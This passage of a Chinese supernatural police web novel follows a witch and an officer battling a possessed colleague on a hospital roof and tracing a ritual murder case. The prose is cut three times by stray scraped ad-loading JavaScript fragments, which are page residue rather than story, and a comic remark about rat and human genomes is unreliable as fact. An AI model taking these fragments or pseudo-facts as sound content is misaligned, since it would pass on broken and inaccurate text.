她们这辆车即将开入山下黑压压的隧道,道路却突然拔地而起,如长龙拱背,翻涌着将唯一一辆载着女巫的警车送过了山顶,直直冲向天上的月亮。 山脚下的风声顿时失去威力,弱如呜咽。 眼前的奇幻景象比梦境更具冲击力,戴玉粒几乎目不转睛,依然紧紧握着方向盘,丝毫没有松开油门。 她们飞入了那一片纯白无瑕的光。 7. 医院惊魂 女巫一跃而起,高举起手中长刀,往前挥出—— 圆月如水波荡漾,蛛网般隐现的金色纹路构成传送魔法阵,将那辆警车、车里的两个凡人以及首当其冲的女巫一并卷入。 戴玉粒眼前一闪,下意识踩住了刹车。 阴沉天色下方的建筑物,俨然是刚才还距离她们34.1千米的:“古堃区人民医院”。 岑小哉落回引擎盖上面,背对着医院,旋身坐下——实则与车身隔着大约三毫米厚的空气。 下一秒,她罔顾物质密度,伸手穿透挡风玻璃,“啪叽”就给了郑颢一巴掌。 原本被魇得不省人事的知了猴在副驾驶座上直挺挺打了个激灵。 “啊救命!有……” 女巫虎视眈眈地盯着郑颢,直到将呼之欲出的“鬼”字逼回他喉咙里面,“贵人相助,哈哈。” 戴玉粒对此表示沉默。 她望向女巫身后,医院门口以及外面街道上空无一人,甚至没有任何活物,像是被按了暂停键的惊悚片画面,看起来特别诡异。 “这里,真的是古堃区吗?”向来冷静自持的戴玉粒,这时也感到有点无措了。 引擎盖上长出一棵柳树幼苗,又化为一张纸巾,被女巫慢条斯理拿来擦手。 “你可以把整个世界理解为一本书。而此刻,名为‘古堃区’的那一页被几滴污渍弄脏了,我们便是误入了‘污渍’当中。” 探员姐姐若有所思地点点头。 郑颢揉了揉脸,弱弱问了句:“那什么,咱们现在,要下车吗?” “也不是不行。”岑小哉扯起嘴角,“但我可以保证你一打开车门,立刻就会被奇怪的东西拖进医院里,比如后面这玩意儿。” 不远处的闸门倏地打开,一条巨蟒般的分叉舌头“哧溜”钻了出来,笔直袭向前方的猎物。 可惜,它判断失误了。 接连三枚子弹破空而来,伴随着某人“那是什么鬼东西啊啊啊”的尖叫声,同时给予这条怪异巨舌最独特且热烈的欢迎。 岑小哉则以轻飘飘一个前空翻,坐在车顶,面朝医院大门——依然与车身隔着大约三毫米厚的空气。 她抬起长长的斩.马刀,直指前方,附赠了四字作为祝福。 “万箭穿心。” 得到祝福的子弹们速度提升了百倍,兵分三路,化作穿行于怪舌之中的重重虚影。 戴玉粒握着她那把05式转轮愣住了。 巨舌像一条被丢到火炭上的泥鳅一样疯狂扭动,却无法逃脱无处不在的攻击,最终炸成一股淋漓而壮观的血色礼花。 “哇呜,漂亮!” 女巫不知何时已收起她的“飞行工具”,此刻正在模仿海豹鼓掌——用最小的力气和最快的速度。 只有郑颢一个人弱小无助地捂着嘴,在副驾驶座瑟瑟发抖。 “继续前进,我们冲进去!” “是,女巫。”戴玉粒用最响亮干脆的声音应道。 警车如一道蓝白相间的离弦之箭,闯过了医院大门,但门后的空地陡然塌下,似乎是早已布置好的陷阱。 地面浮现一个黑色漩涡,深不见底,向外散发着无穷恶意。 “切,不就拔了你一根舌头,张着嘴想吓唬谁呢?” 岑小哉屈起食指,在车顶敲了两下。 整辆车不停颤动,随即脱离漩涡的控制,悬浮在半空。 “探员姐姐,借点材料哈。” 她忽然弯腰倒悬在车窗上方,一双赤金竖瞳此刻看起来格外惊悚。 尖顶帽依然无视地心引力,牢固得像是长在女巫的头上。 虽然不知道她想借什么材料,戴玉粒还是迅速点头。 “FaRe——”女巫开口吟唱,在空气中凝结成两个金色实质音符。 与此同时,她从车身侧面抽出了一滴汽油。 音符摇摇晃晃融入了汽油里面,又摇摇晃晃往下方的黑色漩涡里飘进去。 “轰!” 底下爆炸产生的气流直接将车辆冲上了几十米的高度。 爆炸源头传来一声长长惨叫。 一切声音消失之后,地面恢复原状。 郑颢蜷缩在副驾驶座,紧紧护住自己的脑瓜子,语气非常虚弱:“就那么一丁点儿汽油怎么可能炸成这样,这也太不科学了……” “因为女巫在这儿。”戴玉粒看了他一眼,觉得很莫名其妙,“而且,魔法说不定只是人类无法理解的另一种科学。” 郑颢顿时被噎住:这逻辑,好像也没什么不对? 就这样,警车很科学地悬停在距离地面大约五十米的高空中,完全可以平视周围的几栋大楼天台。 女巫终于发现了她们此行的目标。 她兴奋不已,两只手开始模拟招财猫摆件的爪子,“笃笃笃”猛敲着挡风玻璃上方:“看,他们在那儿,那些肮脏的东西!” 斜对面百米开外,人民医院住院楼……的楼顶。 有三个人站在天台角落的边缘,再往前一步,他们就会从上面掉下去,摔成满地稀烂。 某只知了猴对此表示心有余悸。 戴玉粒下意识紧抿着双唇,她抬手叩了叩车顶:“女巫,请问你能不能救救他们?” 郑颢用一种三分同情、七分遗憾的微妙目光看向她。 虽然不知道女巫着急忙慌赶过来到底是要干嘛,但是要让她去救那些“肮脏的东西”,估计只能得到一个没有半分犹豫的回答—— “不能。” 岑小哉果然没有半分犹豫。 作为一名女巫,但凡她对这些肮脏的东西产生了丝毫怜悯,那都是对正常人类的不尊重。 “哎,我就知道。”郑颢摇头,并叹了口气。 戴玉粒握着方向盘的双手不自觉地收紧。 而那三个家伙就站在天台边摇摇欲坠,没那么多时间可以留给她继续思考。 “那我去救。” “啥?这么乐于助人,戴姐你不要命啦?” 郑颢脱口而出,脸上的震惊表情堪比刚才看到女巫引爆了一滴汽油。 “你将要独自对付一个恶灵,以及被恶灵所操纵的凡人们。后者也是你的拯救对象——三个长久以来一直排挤你的卑劣男同事。”女巫以一个盘腿抱臂的坐姿飘到车前,语气冷漠而近乎残忍。 “你可能救不了他们,还会白白牺牲自己的性命。这样真的值得吗?” “不值得。” 戴玉粒闭了闭眼,再睁开那双明亮眼眸时,神情已恢复平静:“但我是一名人民卫士,救人是我的职责。哪怕希望再渺茫,我也不能放弃。” “你这人就挺奇怪的。”郑颢又摇了摇头,很不知死活地开始说风凉话。 “现在上赶着要救他们,昨天又何必把人打成那样呢?要是没把人打进医院,说不定也没这茬了对不?” 戴玉粒点点头,语气依然很认真:“对,如果给我一次重来的机会,我一定提 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 前动手,刚入职就打,绝不拖延。” 郑颢:“……” “不,你的动手时间还可以再提前几年。” 岑小哉发出一阵“咯咯咯”的古怪笑声,成功把郑颢吓出应激状态,以为这头女巫要当场现出原形了。 “我改变主意了,探员姐姐。”她一边说着,一边慢悠悠飘回车顶,“我会帮助你对付恶灵,但你要记住自己说过的话,并付诸实践。” “好。”戴玉粒应得斩钉截铁。 “诶不是,等会儿,具体哪句话呀,你都不问问就答应……啊!” 知了猴的嘟囔最后又变成一声受到新鲜惊吓的大叫。 “往前冲。” 随着女巫一声令下,戴玉粒再次将油门踩到底。 住院楼天台在视野中逐渐迫近,可就在剩下不到十米距离的时候,楼顶天台蓦地变成了一面贴满马赛克瓷块的墙—— “啊啊啊怎么回事要撞上墙啦!救命啊!” 郑颢的尖叫终结于女巫的一声冷哼:“雕虫小技。” 就在撞上墙体的前一瞬,车头倏地抬高了九十度,与整栋住院楼完全垂直。 引擎轰然咆哮,近乎兽吼。 整辆车犹如壁虎爬行,四个车轮紧贴着墙面,毫无阻碍地往上直冲。 戴玉粒来不及感到惊奇,一鼓作气,终于把车开上了住院楼最顶层的天台。 … 一层无形的屏障应声而裂。 楼顶的三个人中,有两人忽然站立不稳,直挺挺往天台外扑出去。 但随即又被什么东西“啪”地拦腰打了回来,速度简直快得让人措手不及。 余下那人原本僵立在原地一动不动,直到此刻,才被另外两人的惨叫与落地嘈杂声响所惊动。 他挣扎着转身。 “高照,站稳别动。” 模糊的视野中,有人下车,墨蓝色制服紧裹着长腿细腰,一步一步朝他走来。 微风拂起她耳边利落的短发,是他七年来始终魂牵梦萦的那张秀丽面容。 英气剑眉之下,亮得慑人的双眼。鼻尖挺翘,唇总是无意识地微抿着。 “婷婷?” 高照艰难开口,虚弱得只能发出一点气音,却还是扯出个笑容:“怎么……又是你来救我……” ——他难道真的快死了,所以才回光返照,看见了戴玉粒? 不,不对,真的是她。 “戴玉粒!不能过来……快跑!” 高照用尽所有力气朝她大喊,可已经太迟了。 地上的两个人忽然像丧尸般疯狂抽搐,甚至还未站立起来,就龇牙咧嘴地朝戴玉粒扑了过去。 她微微蹙眉,旋身抬腿,先踹翻了李万兴,又借势将后面的小乐一个过肩摔,狠狠掼到地上。 而此时,高照的意识再次被占据,他眼神涣散,拖着沉重脚步,毫无知觉地开始后退。 另外两人却跟打不死的蟑螂似的迅速爬起来,又绊住了戴玉粒赶过去救人的脚步—— 只需要再退半个手掌的长度,摇摇晃晃的高照就会掉下去。 从上到下,十多层楼,他绝对会被摔成好几十块。 “嗨呀,来不及了。”岑小哉坐在车顶,单手撑腮。 她看起来完全没打算阻止当下极度惊险的这一幕。 郑颢张了张嘴,又很有自知之明地合上了。 作为区区一只知了猴,他敢动吗? 他不敢动。 8. 恶灵附身 “刘麓诚,你到底要做什么?”戴玉粒扬声喊道。 就算她的身手再好,也无法打倒不知疼痛与疲乏的古怪生物。 更何况,那两个家伙现在还是她名义上的同事,不能真把人给打到半身不遂。 但她听到,女巫再次说出那句“来不及了”。虽然这次的语气不再急切,甚至近乎冷嘲热讽。 就在那一刻,戴玉粒想起所有异象发生的源头:当时,她无意间揭穿了某个人死亡的事实。 她果然猜对了。 高照——或者说附身于他的“刘麓诚”,终于停下了倒退的脚步。 此刻他距离天台边缘,只剩三厘米。 “你不觉得这个问题很好笑吗?” 那个恶灵倏地抬起头,双眼中翻涌的血色浓重如墨:“我要做的事情,那当然是复仇!” “害死你的人并不在这里。”戴玉粒平静说道。 与此同时,她将李万兴的左臂反剪,一脚踢在对方膝弯处,迫使他跪倒。小乐则被她另一只手按在车门上,五官都挤到扭曲变形—— 车里的郑颢又给吓了个魂飞魄散。 “我知道,你只是在拖延时间,想要救他。”恶灵发出一阵低哑笑声,令人毛骨悚然,“……可又有谁来救我呢?为什么我就要死得那么痛苦?为什么!” 他的质问声逐渐尖利,恍惚间似乎变成了一个女人的哀嚎。 “噢等等,原来如此!” 原本单手撑腮无精打采的女巫“唰”地坐直起来,右手握拳敲在左手掌心,一副恍然大悟的样子:“是你把那颗头带出来的!” 什么? 郑颢听到这茬儿,那可就坐不住了,立刻从车窗里探出头来:“啥啥啥?冰箱里那颗头吗?” 于是他很荣幸地吸引了“麓哥”的注意力。 “小秦,你也在这里啊……” “刘麓诚”朝他咧嘴一笑,漆黑双眼死死盯着他不放,像是饿得半死的老鼠忽然看见了一块大肥肉。 郑颢哆哆嗦嗦地撤回了自己的脑袋并立即关窗。 “要不……您还是当我不存在吧?” 那个恶灵猛然扑了过来。 ——连带着刚才一直拼命围堵戴玉粒的李万兴和小乐也是如此。 忽然空闲下来的戴玉粒:“……” 郑颢成功拉走了全部仇恨,因此他的惊恐叫声几乎要把女巫从车顶震下去。 只可惜,他除了放声大叫之外,脑子里完全一片空白,眼睁睁看着那三个人面目狰狞地冲到车前,“刘麓诚”甚至还知道要来副驾驶拉车门! “戴姐!女巫大人!救命啊!” 女巫大人终于被闹得不耐烦了。 她一脸不悦地看着“刘麓诚”:“喂,你不应该在这里,赶紧回下水道里去。” 那三个家伙无动于衷,继续拍窗挠门,对着郑颢垂涎欲滴。就好像他们围着的不是一辆警车,而是一个打不开的午餐肉罐头。 “怎么办?他们根本听不到你说话!”郑颢死死按住车门内侧的开关,整个人已经吓得涕泪横流。 岑小哉无奈摊手:“那我也没办法了,谁让你不相信我。” “我信啊!真的,我从今天,不——从现在就开始信奉女巫教,要念经祈祷还是烧香上供都行,求求你赶紧把他们弄走吧!” “啊哈,你这时候求我还不如求探员姐姐。” 戴玉粒有点纳闷地走过来,尝试着把小乐一把掀开——结果后者又迅速扑向了副驾驶。 “李万兴?高照?刘麓诚?” 很好,这回她喊谁都没用了。 女巫幽幽叹气,自顾自嘀咕了一句:“咿?这就是‘祭品’的致命吸引力么,真是好离谱哦。” “女巫,请问我该怎么做?”戴玉粒抬头问道。 然而对方打了个哈欠,看起来倒也不是很在意郑颢的死活:“这样吧,你可以试着骂几句。” 从小到大都是乖巧懂事好孩子的戴玉粒顿时愣住。 她仔细回想了一下刚才女巫说的话,索性从腰侧槍套上再次抽出那把05式转轮,直直对准了高照的眉间。 “滚回下水道!听到没有?” … 其实在场的一个女巫和两个正常凡人都没抱什么希望。 但是,“刘麓诚”却蓦地僵住,露出一脸难以置信的表情。他眼里如墨般血色时深时浅,看起来是两股意识在躯体里彼此争斗。 李万兴和小乐也忽然僵住,随即瘫倒在地。 高照“哇”地开始呕吐,抬起手拼命抓挠着自己的脖子。 不出半秒,他嘴里蓦地窜出一团灰不溜秋的东西,还拖着根细长尾巴—— 那分明就是只油光水滑的大老鼠! 戴玉粒的反应极快,几乎眼都没眨,子弹已然出膛,“砰”一声将那只在天台上乱跑的老鼠打了个稀烂。 高照最后迷迷瞪瞪又带着莫名哀怨看了她一眼,再次晕过去。 危机总算解除。 郑颢整个人瘫软在副驾驶座上,伸手摸了摸,满头满脸全是冷汗。 他长舒了一口气,小心翼翼地打开车门,绕开地上不省人事的二世祖。 “这只老鼠该不会就是刘麓诚……吧?” 女巫笑眯眯飘下来:“对啊,就是那个跟你勾肩搭背的‘麓哥’。” “我去!”郑颢立刻抬手掸了掸肩膀,一脸嫌弃的表情,“他原本是个人没错啊,怎么死了之后会变成一只老鼠?” “这是带有随机性质的一种亡魂可视化表现形式。”女巫毫不停顿地说道。 郑颢:“……” “好吧,比较科学的解释是:某种以死亡为基础的仪式转化了刘麓诚的基因组。老鼠的基因组大约是25亿个核碱基,人类约有29亿个,也就是说,人类只比老鼠复杂了14%,而那场仪式正好从他身上夺取了这14%的核碱基。” 知了猴承认自己没听懂,但知了猴依然忿忿不平。 “那他们干嘛追着我不放?我跟刘麓诚无冤无仇的。” 岑小哉眨巴了一下眼睛。 “噢,可能是因为在鬼怪们眼里,你长得太诱人可口了吧。” 她一脸郑重地点点头,成功将郑颢吓出更多的鸡皮疙瘩。 “刘麓诚之所以会变成老鼠,还有可能是因为,他的死亡方式比较特别。”戴玉粒收起武器,依次察看小乐、李万兴以及高照三人的身体状况。 确认同事们没什么大碍之后,她从车里拿出掌上终端,找到了先前保存下来的车祸现场记录—— “……死者刘麓诚全身笔直倒插在窨井底部,因鼠尸等污物堵塞鼻口导致窒息死亡。” 他竟是被下水道堵塞的垃圾活生生憋死的。 对比之下,郑颢顿时觉得,命运女神给自己安排的“猝死”简直友好到可以称之为仁慈。 岑小哉这时的表情反倒变得严肃起来了:“不止‘特别’,他的死亡显然是一场早有预谋的献祭。” “啥?献祭给谁啊?哦对了,女巫大人您还没说说那颗头到底是怎么回事呢。” 岑小哉没理他。 “来医院之前,探员姐姐对藏头案的调查是不是有什么新进展了呢?” 忽然被女巫提问的戴玉粒从沉思中回过神,收起了自己的掌上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 终端。 “对,我本来打算到南街那边去找一个叫‘莉莉’的商务模特。根据其他同事以前收集的资料显示,她的真实姓名是——” “魏……魏笑纤。” 有人用嘶哑难听的气音打断了她的话。 警车另一边,高照扒拉着车门,跟瘫痪病人复健似的,非常艰难地站了起来。 话音刚落,他就咳到不停干呕,从喉咙里抠出不少污泥碎屑,甚至还有长长的一缕头发。 郑颢实在看不下去了,问了戴玉粒之后,从警车的后备箱里找了瓶矿泉水出来,递给高照漱口。他吐掉几口脏水,靠在引擎盖上,直接把剩下的半瓶水往头上一浇。 知了猴赶紧跳开,并仔细观察他的精神状态。 还好,高照把自己浇了个透心凉之后,眼底血色褪尽,整个人看起来倒是更清醒了。 “我看到,他们杀了魏笑纤。” 尽管戴玉粒在不到两秒的时间内就恢复冷静,但高照依然察觉到,她的脸色有一瞬苍白。 他顿了顿,尽量省略一些过于恐怖的细节描述:“他们用很多钓鱼线把她绑在棺材里,还取出她的心脏,换成了……一个闹钟。” “它牡的!好恶毒的家伙,居然把她炼成了‘摇心尸’,这可是闽山派的禁术!” 岑小哉气得攥起拳头,“邦邦邦”捶着车顶。 郑颢再次有点紧张地盯着高照,却发现他好像完全没有发现,此刻警车上面正飘着一个“邦邦”捶车顶的女巫。 但话说回来,闽山那不就是个旅游景区吗?居然还有什么禁术? 知了猴自顾自开始走神。 戴玉粒则抬头看了女巫一眼。 后者朝她挑了挑眉,又用力点头,意思是由她来继续询问。 探员姐姐立即掏出了签字笔和小本本:“你什么时候看见的?凶手又是什么人?” 高照微微一愣。 不知是因为她与某个人极为相似的神态动作,还是因为,那种不算陌生的讯问式语气。 但他忽然低下了头,状态更加接近一只垂头丧气的落水狗。 “就刚刚,被刘麓诚附身的时候。那些人我不认识,他们看起来也是被人控制着,就像山猪和小乐刚才那样。” “不好意思啊戴姐,我打断一下。” 郑颢弱弱举手,扭成“八”字的眉头看起来相当喜感:“就是这种有点灵异性质的线索,真能当成案件证据吗?” 戴玉粒倏地停笔,神色冷肃。 “刚才刘麓诚问了一句话:‘又有谁来救我呢’。这句话就像一个耳光,让我特别印象深刻。” “因为,那正是所有受害者无法言说的心声。” 说到这里,她闭了闭眼,大约是为了平复自己过于激烈的情绪。 “无法阻止犯罪分子对无辜之人的伤害,已经是一种巨大遗憾。所以我只希望,正义不要迟到得太久。” 听到这句话时,高照又抬起头。 虽然没什么表情,但他凝视着戴玉粒的眼神却很复杂,连“爱恨交加”一词都不足以概括:“真有意思啊,你居然会同情一只恶鬼?” “案件情况未明,你对刘麓诚的定义有失偏颇。”戴玉粒脸上露出了一点算得上罕见的厌憎之色。 “算了吧,别跟我拿腔拿调的,听腻了。” 高照的声音依然喑哑,正因如此,他夹杂着冷笑的语气就显得更加令人不安。 眼看现场的火药味儿逐渐浓烈,某只知了猴只能再次用求救的目光看向从车顶飘下来的女巫。 岑小哉还是没理他。 她正忙着研究那只死老鼠。 9. 她在哪里 “刘麓诚和魏笑纤的死亡地点应该非常接近。” “女巫大人,‘摇心尸’到底是什么?” ——戴玉粒和郑颢同时开口。 高照没有完全听清两人说的话,但这并不影响他忽然对后者升起了警惕心:“什么女巫?” “欸,就您侧前方的那位。” 话刚说完,郑颢就被岑小哉飞了一记眼刀。他挠了挠鼻子,又小声嘀咕道:“不过你好像看不见她。” “因为他是个愚昧而无可救药的‘掩瞽之人’。”女巫冷笑,宁可专心研究地上的死老鼠,也不屑于再多看高照一眼。 言出法随。 二世祖像是突然中了什么定身术,站在原地不能动弹,也无法再开口。 彻底得罪了他的某只知了猴,立即一步一步默默挪出了对方的视线范围。 同时,郑颢也在心里暗中嘀咕:“‘掩瞽之人’?这么具有旧唐风韵的词汇,跟女巫的整体风格好像有点不搭啊。” 但岑小哉接下来的解释,一下子将他跑偏的注意力拉回到现场—— “简单来说,‘摇心尸’就是一具定在棺材里的尸体,但上面布满你的气息,只要那颗机械心脏不停转动,它就能制造出一个幻象来代替你活着。” “也就是顶替了亡者?”郑颢大惊失色。 “嗯哼。” 女巫点点头,顺便翻了个白眼。 “他们费尽周折,是为了用‘摇心尸’来顶替一个暂时还不能死的人。”戴玉粒也盯着老鼠破碎的尸体,神情越发严峻,“也就是说,目前应该还有第三个被害人。” “我去!他们神经病吧?怕自己杀了人被发现,所以又继续害死另外两个人?” “可不是么,不然你冰箱里哪来的那颗头,又怎么会莫名其妙就成了这桩藏头案的‘犯罪嫌疑人’。” 还附赠了一张古堃区下层拘留室体验券。 岑小哉举起双手,十指灵活抖动。虽然只是个放烟花棒的手势,却真的有无数小火花从她指间逸散飞出。 郑颢瞬间瞪大了双眼,脸上写着个“啥?” 小火花们就好像一群红色萤火虫,蜂拥而上,将在场胆子最小的家伙团团包围,追得满地乱窜。 最后,知了猴认命地走回原处。 他边走边咳嗽,带着被灼出一股焦烟的满头乱发,以及遍布在脸上、手上的点点斑驳灰痕。 “驱使刘麓诚的残魂将被害人头颅转移到你那儿,再把你弄死,背上这三条人命的锅——” 女巫打了个响指。 老鼠的血肉从伤口处开始涌动,烟雾翻腾而起,生长成一棵古怪的灰色植物:树根在上,而树冠在下。 “这个‘因果置换’仪式才是他们杀掉第二人和第三人的最终目的。” “那直接搞个人背第一条人命的锅不就行了?非得搞这么多事,图啥呢?” 郑颢整张脸皱成一坨,可见他的心情正如外表那般,非常不美丽。 探员姐姐用黑水笔敲了敲本子,看向前面这位无辜又倒霉的藏头案目击证人。 “秦先生冰箱里的头颅,以及其余残骸,正属于那个‘暂时不能死的人’。” “的确如此!所以‘因果置换’仪式的作用,绝对不止让某个傻子成为替罪羊而已。二世祖刚刚被附身时看到的魏笑纤遇害现场,应该也已经替换了他所知道的、关于真凶的关键信息。” 某个傻子很泄气地蹲了下去,开始抓耳挠腮:“可咱们还是搞不清楚这些乱七八糟的事情到底是谁干的。” 也就是说,他依然不知道,到底是谁费尽心思想诱杀自己——又或者诱杀秦正浩——来当替罪羊。 秦正浩大概可能或许已经狗带了。 但这件事情除了占据他躯壳的郑颢,别人根本不会相信。 至于女巫,她好像也没有很在意这些弱小凡人的死活…… “从两名被害人和秦先生之间重合的社会关系进行调查就可以了。” “秦先生”茫然眨眼,总觉得戴玉粒说的这句话好像有哪里怪怪的,又好像没什么毛病。 岑小哉伸出两根食指,像玩沙漏一样,隔空将那棵老鼠尸体变成的“因果置换树”颠来倒去,冷不丁问道:“探员姐姐是怎么想到要去调查魏笑纤的呢?” 戴玉粒没有犹豫太久,从掌上终端里找出了古堃藏头案和伍港灭门案两名被害人的面部对比图:同样是柳叶眉、丹凤眼、细窄秀气的鼻子,就连五官分布的位置都差不多。 “魏笑纤女士,曾经是伍港被害人许晓芊的同班同学,以及匿名资助人。” 探员姐姐开口解释时,忍不住蹙起眉头,非常厌恶地瞥了高照一眼——署里上下都知道,二世祖今年多了个新的红颜知已,就叫“莉莉”。 “她初中时就辍学了,在伍港区有一段短暂的婚姻。离婚后,魏笑纤来到古堃区下层,化名‘莉莉’,成为一名商务模特以及云端主播。长达七年的时间里,她的大部分收入都用于资助老家的贫困学生。” 戴玉粒远远看过她一眼。 传说中的“小豆芽精”跟在高照后面,长发白裙的一抹窈窕背影,踩着猫跟鞋走路时也摇曳生姿。 “出于人道主义,我本不应该再用伍港一案去打扰她,但事实摆在眼前:两名被害人面容的高度相似,让我觉得有必要走这一趟。” 可谁能想到,转眼间就连魏笑纤也成了新的被害人。 探员姐姐再次看向郑颢,语气更加严肃了几分:“魏女士资助的另一个女孩冯筱迁,秦先生应该并不陌生。调查结果显示,截至半个月前,你和她一直持续着某种隐秘的办公室恋情。” 郑颢愣了一下,内心顿时被省略号刷屏:“我了个大擦!他秦正浩搞出来的破事儿凭什么让我来承担这个要命的结果?” 更何况,秦正浩跟冯筱迁,还有那个“胡总”之间到底是什么剪不断理还乱的三角关系,这谁踏马的能弄清楚啊? “现在,有一件更糟糕的事情。” 岑小哉摆弄那棵“因果置换树”的动作忽然卡顿,连带着她整个人都如同画面跳帧,“滋啦”抖了一下。 时间暂停,长达三秒钟。 无数枚金色眼珠从她的满头粉发中冒出来,疯狂闪烁,看起来十分慌张。 “我们必须尽快找到冯筱迁,我能感觉到,她已经开始举行召唤仪式了。”女巫抬了抬下巴,目光锁定戴玉粒手里的记事本和黑水笔。 “但实际上,能够被冯筱迁所召唤的怨灵,应该是在某个时间维度中死去的她自己。” “什么!?那咱们上哪儿找她去啊?” 郑颢猛然从地上蹦起来,结果腿蹲麻了站不稳,往前踉跄好几步,成功撞翻了直挺挺立在那儿的二世祖。 高照保持着僵立之 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 姿,直挺挺往后摔去。 在他的脑震荡伤上加伤之前,女巫顶着满头乱闪的金眼睛,一脸不爽地打了个响指。 定身术瞬间解除。 高照一下子瘫倒在那只死老鼠旁边,柔弱不能自理。 虽然他完全感知不到女巫的存在以及与之有关的异象(包括那棵“因果置换树”),却从头到尾都听见了戴玉粒和“秦正浩”说的话。 “我知道这个冯筱迁。莉——不是,魏笑纤说过,她们两个是中学校友。” “校友?不,她们是‘战友’。” 女巫轻轻挥手,由老鼠尸体变幻而成的“因果置换树”瞬间枯萎,化为一阵飞灰。 生命轻若尘埃。 从穷困地区拼命挣出一条血路来的女孩们更是如此—— “小冯,你不用担心。姐姐最近啊钓了个二世祖,他是专门管着我这一行的,安全得很。” “男人的嘴骗人的鬼!那小子夸你两句就把你哄得神魂颠倒了,真没出息!” “拒绝?领导让加班他连个屁都不敢放,居然说什么‘你可以拒绝的’。小冯你可别听他鬼扯,这根本就不是你的错!” “没事儿,拜拜就拜拜,下一个更乖。有姐姐陪着你啊,咱们周六晚上就好好打扮,漂漂亮亮的逛街去。” 这是魏笑纤和冯筱迁最后一次联络的语音内容。 却在赴约之前,就已阴阳相隔。 … “秦正浩明明亲口说过的,他爱我。” 一个年轻女子坐在公寓的梳妆台前,盯着掌心那枚钻戒,眼中布满猩红血丝。 夕照穿透窗帘,铂金戒圈上镶嵌的粉钻无声闪耀着,折射出斑驳、冶艳的光晕。 “他说爱你,你就信以为真?” 镜中人低低笑起来:“傻孩子,他真正爱的,只是你身上那种‘宜他感’附赠的好处而已。” 只需要说几句甜言蜜语,就可以换来赏心悦目的美貌,予求予取的温柔,还有耳鬓厮磨的顺从。 太轻易得到的,便不会去珍惜。 “任何靠近他的女人,都只是实质化的欲望载体。你凭什么认为,自己会是特例呢?” 幽幽低语继续响起,用一个又一个尖锐问题,慢条斯理地击溃猎物的心理防线。 “不过,这时候你更应该好好想一想,胡炯烽到底会不会放过你们?他手里已经有两条人命,为了斩草除根,应该不介意再多杀你一个——甚至,加上你的好姐妹莉莉。” 无数张带着恶意嘲弄的面孔在瞬间一闪而过,最终定格于那个衣冠禽兽的背影。 直到现在,她依然不敢去回忆施暴者的脸。 只要想到任何一丝与他有关的细节,她就忍不住全身发抖,五脏六腑都几乎揪成一团。 “我……我不知道!” “锵”的一声,镜前女子将钻戒丢到梳妆台上,像是急着甩掉一只死老鼠。 “没关系。我有一个办法,可以让你找到答案。” “什么办法?”她语气迫切,几乎破音。 “你需要的,是一张交予死亡的邀请函。” 窗帘被狂风吹开,夕阳的最后一丝光线湮灭于城市边陲。 镜中映出冯筱迁那张美丽而呆滞的面孔,梳妆台上不知何时出现了一张白纸和一支铅笔。 “去吧,将‘她’从黑暗深处召回人间。” 10. 注意安全 “秦正浩!” 那个年轻男人带着满脸惊恐,从明珠公寓第十四层的天台一跃而下。 “为什么?你怎么会在这里……”冯筱迁双目圆睁,整个人都在颤抖着,原本紧握在手中的铅笔也不自觉松开,掉落在地上。 不知过了多久,隐隐约约有警笛声呼啸传来。 她这才发了狂一般往前扑去,竟是不死心要去确认,那一幕会不会只是自己脑海里产生的幻觉? 可天台外面却悄悄浮现一个身影。 冯筱迁愕然抬头,看见了和自己一模一样的长发白裙,以及笼罩着层层青灰诡气的柳眉凤眼。 另一个“冯筱迁”面容可怖,脖子中间有怪异凸起,正在不停蠕动。 随即,“噗”的一声轻响,皮肤开裂,铂金与粉钻从底下显出,散发着璀璨光芒。 是她丢在梳妆台上的那枚戒指。 天台外的“她”缓缓抬手,触摸到“镶嵌”在喉咙上的钻戒,下意识张了张嘴,却说不出半句话。 原本空洞的眼神逐渐变得悲伤,又转为愤怒,漆黑瞳孔中有血气翻涌,化为瘆人的两行殷红泪水,从惨白脸颊上滑落。 “如果我死了,就会变成你,对吗?”冯筱迁站起身,神情反倒恢复了平静。 地面上,那支铅笔慢慢竖立起来,在白纸上画出了一个圆圈。 … “什么!戴姐你说啥?冯筱迁也没了,真没了?” 听到这个坏消息,郑颢脑子里“嗡”的一声,满嘴的牛肉汤面忽然变得难以下咽。 “对。” 刚刚结束通讯的戴玉粒点了点头,两道漂亮的剑眉几乎蹙得打结,脸色极为难看。 “不是,等会儿。” 郑颢立即扭头去寻找女巫大人,但病房里四面八方都找遍了,也没发现岑小哉的半点踪影。 他只能继续一脸迷茫地看向戴玉粒:“她,她是怎么回事?” “根据现场情况,初步鉴别结果为自杀。她吞了一个钻戒,堵塞气管,窒息而亡。” “怎么又是窒息?”高照心有余悸地搓了搓脖子。 所有人不约而同地想到了,那个倒插在下水道被垃圾活生生憋死的刘麓诚。 “应该,只是巧合吧?”郑颢仿佛自言自语,试探着问了一句。 他得到的回答是头上突如其来的一记暴扣。 “说什么蠢话呢知了猴?这摆明了是两种邪恶仪式的共同点。” 女巫再次闪现,手里还拿着一列旧得褪了色的乐高小火车。 “笔仙已经被召唤出来了,这个时空的阴阳秩序也即将崩塌,你们必须立刻离开。” 郑颢捂着脑袋,小心翼翼问道:“如果不离开,会怎么样啊?” 岑小哉脸上缓缓露出了非常灿烂的笑容。 “冯筱迁那么稀罕你,那你肯定会第一个成了笔仙的饲料。” “啥?饲料!不不不不我拒绝!”某只胆小知了猴当即在椅子上紧紧抱住自己缩成团状。 “至于探员姐姐你们几个,再继续调查下去,自然无法避免会被牵扯到因果关系之中……”女巫的声音逐渐变得缥缈,带有隐约的蛊惑意味,“就好像误入蛛网的小虫子,最后也将沦为一顿美餐。” 戴玉粒看向躺在病床上昏迷不醒的李万兴和小乐,显然说什么也不可能同意这种逃兵行为:“那其他人怎么办?” “很简单,既然这个时空无法阻止笔仙降临,那就到别的时空去解决这件事情。” 女巫的回答听起来十分靠谱。 郑颢于是瞅了瞅戴玉粒。 探员姐姐低着头,还在争分夺秒地翻阅掌上终端里面的案件记录。 他又瞅了瞅高照。 二世祖下意识摸着左手臂上重新固定好的石膏夹板,一边若有所思地盯着戴玉粒。 病房里陷入一阵令人有点不安的静默,只有输液瓶里的点滴在缓缓淌动。 